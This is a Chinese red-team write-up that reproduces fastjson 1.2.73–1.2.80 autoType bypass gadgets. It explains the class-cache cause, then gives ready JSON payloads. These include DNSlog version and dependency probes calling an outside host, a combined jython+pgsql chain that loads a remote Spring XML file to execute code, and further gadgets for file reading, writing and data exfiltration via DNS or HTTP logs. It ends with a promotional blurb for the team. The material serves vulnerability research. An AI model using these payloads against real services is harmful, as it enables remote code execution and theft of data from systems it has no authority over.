✦
1.2.72<fastjson<=1.2.80
✦
01 漏洞分析
本文是对浅蓝师傅在KCON大会上分享的议题的复现记录。
首先这次的绕过要求fastjson的版本大于1.2.72,我们可以先看下fastjson在1.2.73修改了哪些内容。
https://github.com/alibaba/fastjson/commit/100964a3481434a1258fd327bf18987e310b8361
修改的地方在JSONObject.toJavaObject,反序列化类时,类实例化的部分。这个其实是修复了一个bug,之前对类属性恢复的需要属性必须有Annotation,修改后类属性与显示指定的类不相同和拥有注解两者只要满足一个即可,而显示指定的类我们可以不传置为null。
实例化类属性后,fastjson就会将其加入到反序列化缓存TypeUtils.mappings中,之后对类反序列化时,就会从缓存中获取类。
借助玄武实验室分享的checkAutoType的流程可以看出,期望类及其子类不在黑名单中就能通过检查。所以整理利用流程:第一步指定不在黑名单中的期望类,第二步利用期望类的属性,由隐式类间关系实例化并被加入类缓存,第三步直接利用或者利用缓存中的类,将其他类加入缓存。
第二步的重点在既不能显示指定期望类,而且还要进入JSONObject.toJavaObject的反序列化流程。浅蓝大佬给出的解决办法是"@type":"java.lang.String""@type":"xxx.Exception",与MiscCodec。下面为浅蓝大佬给出的gadgets的复现。
02 版本探测-1
{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"1.zj96tn.ceye.io"}}}
03 版本探测-2
{"a":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","x":{"@type":"java.net.InetSocketAddress"{"address":,"val":"1.zj96tn.ceye.io"}}},"b":{"@type":"java.lang.Exception","@type":"com.alibaba.fastjson.JSONException","message":{"@type":"java.net.InetSocketAddress"{"address":,"val":"2.zj96tn.ceye.io"}}}}
04 报错探测依赖库
{"@type":"java.lang.Character"{"@type":"java.lang.Class","val":"com.mysql.jdbc.Driver"}}
05 dnslog探测依赖库
只有MacOS可以ping带花括号的域名,Linux和Windows会报错。所以这个探测链的Poc需要要合适的报错环境才能看到结果。
{"@type":"java.net.Inet4Address","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"java.util.Locale","country":"zj96tn.ceye.io","language":{"@type":"java.lang.String"{"x":{"@type":"java.lang.Class","val":"org.python.antlr.ParseException"}}}}}
已知可以作为gadget的条件是
1.类为Throwable的子类
2.setter方法的参数类型、public field参数类型或者是构造方法的参数类型,实例化之后的类可利用
以jython中的org.python.antlr.ParseException为例,org.python.antlr.ParseException的setType方法的参数类型为org.python.core.PyObject,根据上述描述,我们可以通过隐式类间关系实例化org.python.core.PyObject,那么这个类就会被加入缓存,将这个类作为期望类,这个类的子类就可以被实例化。
com.ziclix.python.sql.PyConnection为org.python.core.PyObject的子类,它的构造方法的参数类型为java.sql.Connection,同样的原理,意味着可以实例化java.sql.Connection的所有子类。常用的数据库利用姿势为pgsql、mysql等。
org.python.antlr.ParseException#setType
org.python.core.PyObject
com.ziclix.python.sql.PyConnection
06 jython+pgsql分析复现
1.指定期望类为java.lang.Exception,实例化org.python.antlr.ParseException
{"@type":"java.lang.Exception","@type":"org.python.antlr.ParseException",}
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
2.通过MiscCodec,进入到JSONObject.toJavaObject,实例化setType方法参数的类属性org.python.core.PyObject
{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.python.antlr.ParseException","type":{}}}}
com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#createInstance
在类反序列化时,将type的类属性org.python.core.PyObject实例化
3.指定期望类为org.python.core.PyObject,实例化com.ziclix.python.sql.PyConnection的构造方法参数connection的类属性java.sql.Connection
{"@type":"org.python.core.PyObject","@type":"com.ziclix.python.sql.PyConnection","connection":{"@type":"org.postgresql.jdbc.PgConnection","hostSpecs":[{"host":"127.0.0.1","port":2333}],"user":"user","database":"test","info":{"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg":"http://127.0.0.1"},"url":""}}
com.alibaba.fastjson.parser.ParserConfig#checkAutoType
将显示指定的com.ziclix.python.sql.PyConnection,加入到缓存中
之后在实例化org.postgresql.jdbc.PgConnection类时,它的接口为java.sql.Connection,也就是期望类为java.sql.Connection,这个类在之前已经被加入到了缓存中,所以它及它的子类不在黑名单中就可以通过检查。
pgjdbc版本>=42.3.0,<42.3.2或者>=REL9.4.1208,<42.2.25,可以通过连接参数socketFactory指定类,实例化插件实例。例如可以指定类为org.springframework.context.support.ClassPathXmlApplicationContext
jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml");
org.springframework.context.support.ClassPathXmlApplicationContext
ClassPathXmlApplicationContext可以解析xml文件中的bean配置或者spel表达式,构造恶意的payload可造成代码执行。
4.将之前的payload组合发送
{"a":{"@type":"java.lang.Exception","@type":"org.python.antlr.ParseException",},"b":{"@type":"java.lang.Class","val":{"@type":"java.lang.String"{"@type":"java.util.Locale","val":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.lang.String""@type":"org.python.antlr.ParseException","type":{}}}},"c":{"@type":"org.python.core.PyObject","@type":"com.ziclix.python.sql.PyConnection","connection":{"@type":"org.postgresql.jdbc.PgConnection","hostSpecs":[{"host":"127.0.0.1","port":2333}],"user":"user","database":"test","info":{"socketFactory":"org.springframework.context.support.ClassPathXmlApplicationContext","socketFactoryArg":"http://127.0.0.1"},"url":""}}}
07 其余gadgets的原理类似,在此不做具体分析,只进行复现
jython+mysql
5.1.11-5.1.48
6.0.2-6.0.3
6.x or < 8.0.20
OGNL
有回显文件读取
文件写入
commons-io 2.0 - 2.6 版本
xalan、dom4j
有回显回显读取
由于fastjson解析的时候,前面报错是会影响后续的解析过程的,所以这个需要将payload分开发送
1.指定显式期望类,实例化DTMConfigurationException并被加入类缓存
2.MiscCodec -> JSONObject.toJavaObject,通过DTMConfigurationException中的locator属性,由隐式类间关系实例化并被加入类缓存
将org.apache.xpath.objects.XNodeSetForDOM加入缓存
将org.apache.xpath.XPathContext、org.dom4j.io.XMLWriter、org.dom4j.io.SAXContentHandler、java.io.InputStream加入缓存
3.利用org.apache.commons.io.input.BOMInputStream读取文件
文件写入
指定期望类加入缓存的方法与文件读取的方法一样,这里直接进行文件写入
commons-io 2.0 - 2.6 版本
aspectj
有回显文件读取
DNSlog回显
windows不可以且需要dnslog平台支持特殊符号
报错回显
HTTPLOG回显
1.使用一个可以把inputstream或者Reader添加到缓存白名单的前置链。如OGNL,把XmlStreamReader添加到白名单,再基于URLReader发起HTTP请求来携带数据
groovy
1.指定显式期望类,实例化CompilationFailedException并被加入类缓存,并通过unit属性,将隐式类间关系实例化并被加入类缓存
2.利用
org.codehaus.groovy.tools.javac.JavaStubCompilationUnit#init(CompilerConfiguration config,...)
org.codehaus.groovy.control.CompilationUnit#init
org.codehaus.groovy.control.CompilationUnit#addPhaseOperations
• org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperations
• org.codehaus.groovy.transform.ASTTransformationVisitor#addGlobalTransforms
• org.codehaus.groovy.transform.ASTTransformationVisitor#doAddGlobalTransforms
从指定URL读取环境配置
org.codehaus.groovy.transform.ASTTransformationVisitor#addPhaseOperationsForGlobalTransforms
08 攻击技术分析
本文主要分析了 fastjson 1.2.80 漏洞的成因,以及对已公开的几种 gadget 的分析复现。如有错误之处,欢迎各位师傅们指点交流,不胜感激。
参考
《Hacking JSON》- 浅蓝
绿盟科技烈鹰战队建立于2016年,是一支专注于企业安全的实战攻防团队,模拟真实黑客对目标发起网络入侵,以获取企业资产权限、企业核心数据、企业业务控制权限为目的;团队出战过多次实战攻防活动,屡获荣誉,未曾失手,模拟入侵目标覆盖金融、能源、互联网、运营商、政企等多个行业;团队成员技能覆盖度web渗透、系统渗透、内网渗透、后渗透、社会工程学等多项技能,且实战经验丰富。
M01N Team公众号
聚焦高级攻防对抗热点技术
绿盟科技蓝军技术研究战队
官方攻防交流群
网络安全一手资讯
攻防技术答疑解惑
扫码加好友即可拉群